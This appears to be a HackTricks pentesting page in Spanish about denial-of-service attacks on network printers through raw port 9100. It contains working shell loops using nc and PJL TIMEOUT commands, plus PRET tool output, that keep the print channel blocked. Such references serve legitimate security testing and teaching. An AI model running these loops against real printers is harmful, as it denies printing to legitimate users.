3.4 KiB
Si los trabajos de impresión se procesan en serie, lo que se asume para la mayoría de los dispositivos, solo se puede manejar un trabajo a la vez. Si este trabajo no termina, el canal de impresión queda bloqueado hasta que se activa un tiempo de espera, lo que impide que los usuarios legítimos impriman.
DoS básico:
while true; do nc printer 9100; done
Este ataque trivial de denegación de servicio puede mejorarse configurando un valor alto de tiempo de espera con PJL, de esta manera se minimiza el número de conexiones que un atacante puede hacer, mientras que se hace aún más difícil para los usuarios legítimos obtener un espacio de tiempo libre:
# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done
Puedes usar PRET para encontrar la configuración de tiempo de espera:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
5
300
Mientras que la referencia PJL especifica un tiempo máximo de espera de 300 segundos, en la práctica los tiempos de espera máximos de PJL pueden variar de 15 a 2147483 segundos.
Tenga en cuenta que incluso los trabajos de impresión recibidos de otros canales de impresión como IPP o LPD ya no se procesan siempre y cuando se mantenga abierta la conexión.
Obtenga más información sobre este ataque en http://hacking-printers.net/wiki/index.php/Transmission_channel
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabaja en una empresa de ciberseguridad? ¿Quiere ver su empresa anunciada en HackTricks? ¿O quiere tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulte los PLANES DE SUSCRIPCIÓN!
-
Descubra The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtenga el swag oficial de PEASS y HackTricks
-
Únase al 💬 grupo de Discord o al grupo de telegram o sígame en Twitter 🐦@carlospolopm.
-
Comparta sus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.